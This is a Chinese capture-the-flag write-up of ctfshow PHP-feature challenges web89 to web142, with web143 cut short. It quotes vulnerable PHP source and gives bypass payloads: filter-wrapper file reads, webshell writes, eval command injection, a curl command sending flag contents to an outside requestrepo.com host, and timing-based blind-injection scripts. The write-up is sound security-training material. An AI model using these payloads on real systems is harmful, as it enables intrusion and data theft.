0%

ctfshow-php特性

php特性

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

题目要求GET传参一个num变量
当num匹配0-9时,会die
这道题的知识点是

1
2
intval()函数用于获取变量的整数值
如果成功,则返回整数值。如果失败,则返回 0(零)。

但是intval()函数有个漏洞是传参数组,空数组时返回0,非空数组就返回1
所以只需要传参数组
payload:

1
?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

有一个intval函数用来转换进制
转换数字4476
但是前面的代码有一个对4476的过滤
所以要在4476后面加上特殊符号,防止被过滤掉
payload为

1
?num=4476.

这里还要记一个知识点

1
intval函数的第一个参数是要转换进制的变量,第二个参数代表进制

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

代码要求get传参cmd
第一个if要求匹配到php,i表示忽略大小写,m表示多行模式
所以要有一个换行符
第二个if要匹配失败,就会输出flag
所以payload为

1
?cmd=php%0aphp

但是这题还有别的解法,wp上面写的%0a前面可以不用php
因为有多行模式,所以\n后面依然可以匹配第一个if的php字符
整个字符串也并非纯php,所以还有一种payload为

1
?cmd=aaa%0aphp

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

还是两个判断条件
第一个判断num要不等于4476,所以没法直接传参4476
第二个判断intval函数,进制格式给0说明会按照num的进制进行转换,所以可以把num设置成16进制的4476再传参
或者直接用科学计数法也可以绕过

1
?num=4476e1

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

多过滤了字母a-z,所以16进制用不了了,科学技术法也没了
用八进制可以绕过

1
?num=010574

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}

这题多了个strpos函数,匹配num开头的0,匹配到才有flag
strops函数有三个参数,第一个为查找的字符串,题目里为num,第二个为查找的字符,这里是0,还有第三个参数,从哪个位置开始找,这里没有没有给,默认从第一个开始找,下标为0开始
然后有个逻辑关系
以这题为例
如果strops函数找到了0,会返回他的位置索引,从0开始
但是如果返回的索引为0的话,会触发die
所以只要传参的数值里有0且0不在首位就能得到flag
还是用八进制

1
?num=+010574

在前面加上任意字符即可绕过检查

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

过滤了a-z,payload可以正常用
换成空格%20也能用

1
?num=%20010574

web96

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

很基础的文件包含,不能直接写flag.php
用filter伪协议就行

1
?u=php://filter/read=convert.base64-encode/resource=flag.php

看到别的wp还能用

1
?u=file:///var/www/html/flag.php

直接读取flag.php 更方便一点

web97

1
2
3
4
5
6
7
8
9
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

一眼md5数组绕过

1
a[]=1&&b[]=2

web98

1
2
3
4
5
6
7
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

这题代码有点非常规,看了网上别的大佬写的
get随便传个参数
POST传参

1
HTTP_FLAG=flag

就能直接出flag

web99

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

先解读代码,定义一个allow数组,数组初始值36,小于0x36d,每次+1,会随机从1到i循环的值往里面写入
然后GET传参n,判断n是否在allow数组的范围里面,然后创建一个n文件,内容为POST传参的content
content可以写入一句话木马
先get传参?n=1.php
然后POST传参
然后访问1.php,直接用hackbar传参POST一句话木马cmd
ls能看到一个flag36d.php文件
查看这个文件就是flag
在源代码里

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

一开始被搞蒙了,三个数字怎么执行命令,后来网上搜了一下,=的优先级是比and要高的,所以指挥判断v1为数字
v2和v3是可以正常执行命令的,v2在命令执行函数eval的后面,v2传参为system(“ls”),v3要求传参有;所以v3就传参一个;就能成功执行

1
?v1=1&v2=system("ls")&v3=;

查看到有个flag36d.php,以为是flag,结果是假的
还有一个php文件,ctfshow.php

1
?v1=1&v2=system("cat+ctfshow.php")&v3=;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 0x2d*0x2d coding: utf0x2d8 0x2d*-
# @Author: h1xa
# @Date: 20200x2d090x2d21 21:31:23
# @Last Modified by: h1xa
# @Last Modified time: 20200x2d090x2d21 22:11:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class ctfshow{
var $dalaoA,$dalaoB,$flag_is_eb34a5e50x2df8bb0x2d48870x2d91390x2d556d36383edd;
}
<br />

乍一看很奇怪
然后有个小提示,把flag字符串里的0x2d换成-
就是真的flag

web101

flag要爆破,没有写

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

分析代码
要求v4成立,v4成立的前提条件是v2是数字,v3不用判断为数字,这里是一个逻辑陷阱,因为运算符优先级=是大于and的
如果v4成立,那么还剩下两个函数需要操控
call_user_func()用来调用方法或者变量,第一个参数是调用的对象,第二个是被调用对象的参数
file_puts_contents()用来写文件,第一个参数是文件名,第二个参数是需要写进文件的内容
那依次看,v1调用方法,v2是数字字符串,是写进文件的内容,v3是指定文件名,可以用伪协议写入,在传参payload的时候要在前面加上两个数字,用来绕过substr截断

1
?v2=005044383959474e6864434171594473&&v3=php://filter/write=convert.base64-decode/resource=1.php

然后相应的POST传参

1
v1=hexbin

最后到1.php里面查看源代码,里面就是flag

web103

解法同web102

web104

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}



?>

比较常规的数组绕过就可以
get传参v1[]=1
post传参v2[]=2

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

源代码有两个 foreach 循环,分别处理 GET 和 POST 参数:
对 GET 参数:如果键名是 ‘error’ 就退出,否则执行变量覆盖
key=value
对 POST 参数:如果值是 ‘flag’ 就退出,否则执行变量覆盖
key=value
所以传参时要覆盖变量
初始定义:$suces = ‘既然你想要那给你吧!’(普通字符串,和$flag无关)
最终如果验证通过,会输出$flag和$suces,但验证通过需要$_POST[‘flag’] == $flag,这很难直接做到(因为我们不知道$flag的值)。
但通过GET传suces=flag,会触发变量覆盖:
foreach($_GET as $key => $value)中,$key = ‘suces’,$value = ‘flag’
执行$$key = $$value,即$suces = $flag(把$flag的值赋给$suces)
此时$suces已经变成了$flag的值,成为了我们获取$flag的 “中介”。
所以get传参

1
?suces=flag

POST传参

1
error=suces

web106

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>

常规的md5数组绕过

1
2
?v2[]=2
v1[]=1

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}
?>

parse_str函数,把查询字符串解析到变量里

parse_str(v1,v2) 把v1解析成v2

v3的md5值类型要等于v2的flag值

不是全等,所以可以赋值v3为null

这样v1随便赋值都是成立的

1
2
3
?v3[]=1
v1=1

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

有一个ereg匹配,开头必须是字母,然后要传参0x36d,strrev是传参的参数反着来,0x36d转化为十进制数是877,逆反一下就是778

要求开始是字母,就变成a778,在a后加上%00,就能停止ereg的解析,然后拿到flag

1
?c=a%00778

web109

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

限制了v2执行命令,代码强制要求new 类名() 的形式输出,所以给v1传参php原生类,就可以带出v2

1
?v1=Error()&v2=system("ls")

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

这题对v2有了限制,不能再套用Error,可以用另一个内置类FilesystemIterator

1
v1=FilesystemIterator&v2=getcwd  //getcwd获取当前目录文件

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}





}

?>

payload:v1=ctfshow&v2=GLOBALS

这题使用php全局变量解,因为输出时带了两个$,所以v1和v2不需要再加$

给v1传参ctfshow,那$v1的值就是$ctfshow,代码里eval($$v1==&$$v2),替换v1为$ctfshow,此时代码变成eval($v1==&$v2),也就是eval($ctfshow==&$GLOBALS),这里的 &代表$ctfshow和$GLOBALS指向同一个内存地址,此时$ctfshow等同于$GLOBALS,然后代码有个var_dump($$v1),输出所有的变量,其中包含flag

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

禁用了很多协议,可以直接省去协议查看文件

payload:?file=php://filter/resource=flag.php

或者用其他的过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
常见的过滤器:

convert.quoted-printable-encode

convert.iconv.*

zlib.deflate

bzip2.compress

string.rot13

string.tolower

convert.base64-decode

用php://filter前缀包裹即可

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

过滤了filter,上一题的伪协议用不了

这里就用compress.zlib://压缩流伪协议,比较冷门,但是可以记住

payload:?file=compress.zlib://flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";

禁用compress了,那直接不用编码读

payload:?file=php://filter/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

在php中”36”是等于”\x0c36”的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36
此时$num不等于36,且为数字,trim以后也不等于36,且’\x0c36’==’36’

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

payload:CTF_SHOW=&CTF[SHOW.COM=1&fun=echo $flag

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

没禁用include,用filter伪协议进行文件包含

依旧php特性,_转[,fun传参include$_GET[1],或者$_POST[1]

然后伪协议查看文件

1
CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_POST[1]&1=php://filter/read=convert.base64-encode/resource=flag.php

base64解码就行

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

1
2
get: ?a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

waf检查的不是GET传参,所以可以用不合法变量名让php自动转义成下划线_

然后变成ctf_show

payload:ctf%20show=ilove36d

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

gettext("get_defined_vars")会返回get_defined_vars,输出所有变量的信息,包含flag

web129

1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

意思要在传参的f里面寻找ctfshow这个字符串第一次出现的位置

readfile()函数可以读取文件并将其写入输出缓冲区。

所以这里可以构造目录,让stripos函数查找f里面的ctfshow

?f=/ctfshow/../../../../../../../../flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

这题是POST传参,多加了个waf

1
2
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');

.+?ctfshow非贪婪匹配ctfshow,只匹配一次ctfshow

如果f里面被ctfshow匹配到,就会失败

还有个字符匹配

1
2
3
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

如果ctfshow不在f里面,也会失败

这里想到的payload是在ctfshow后面加上其他字符,比如

ctfshow-- 确实拿到了flag,但是这题好像有点bug,直接传参ctfshow也能拿到flag

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

这题利用preg_match的回溯上限来绕过,因为preg_match有个上限是100W,所以构造的payload只要占位大于100万就能绕过去

web132

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

网页robots.txt里面访问/admin有源码

主要是判断分支

code在随机值1到0x36d之间的值,无法达到,所以看后面的username==='admin'

然后传参code=admin就行

1
/admin/?code=admin&&password=1&&username=admin

web133

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

substr限制字符长度是6,但是eval包裹在外面,所以可以截断命令

?F='$F ;'然后后面还可以执行命令,因为这题没有回显,本来试了一下把命令结果写入文件再访问的,但是好像没有权限,没有写成功

后面就curl外带查看flag了

1
?F=`$F%20`;curl%20https://gf8ue1lk.requestrepo.com/?a=`cat%20f*|grep%20flag`

(2) Dashboard - requestrepo.com

在网站里就能看到外带的flag了

web134

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

将 POST 请求中的参数提取为局部变量,这就可能会覆盖已有变量的值

所以get方式传参``?_POST[key1]=36d&_POST[key2]=36d`

源代码里就是flag

web135

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

本来以为这题跟前面一样,直接用curl外带,然后发现被过滤了,这题多了很多waf,然后想到之前那题没能试成功的写入文件

访问能够成功,说明成功写入文件,把命令改成cat flag.php再访问就行了

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

exec不显示命令执行的结果,所以可以把命令结果重定向到一个文件里,然后访问这个文件,但是>被过滤,但是可以使用tee命令来实现类似的功能,tee命令可以将命令的输出写入到标准输出的同时写入到一个文件中

访问目标文件会自动下载这个文件,然后把命令改成查看这个flag文件就行

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow']);

static 静态成员

直接post传参ctfshow调用这个成员变量

ctfshow=ctfshow::getFlag

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

多了个waf,不让ctfshow里面有:

转变思路,传参数组

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

第一个数组元素表示类名,第二个数组元素表示类的静态方法名

依然能调用

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

exec,无回显RCE,然后试了跟之前一样的写入文件,没成功

然后看到有官方题解,自己跑没跑成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then;sleep 3;fi".format(i,j,n)
url="http://80fd638c-9bd5-426c-aaf6-2dfa46d4345b.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "

这个脚本是爆破目录用的,还有另一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
url="url?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break

这里是得到了flag名之后查看flag文件里内容的脚本

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

waf说f1和f2只能是小写字母或者数字,code的值是f1包裹f2,所以f1要是一个系统函数,能够执行命令,f2为函数的参数

还有个条件是如果code转化成数字和ctfshow这个字符转化成数字的结果是一样的,就输出flag.php

ctfshow是以字母开头,所以转化成的数字为0,code也要以字母开头

f1=system&f2=phpinfo

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

首先是if条件v1和v2,v1和v2必须为数字,然后v3要有单词字符

这里直接取反,因为取反本身就是单词字符,符合题目要求

这里传参

?v1=1&v2=2&v3=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F); v3是system cat flag.php

实际上传参的时候要在v3前后加上-,因为存在多个字符传参,所以要把字符之间用-合起来

所以最后传参的是

?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-

web142

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

传参v1,要求v1是数字,且强制转换为int型,这里后面一堆乘法,直接赋值0就行了

v1=0

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
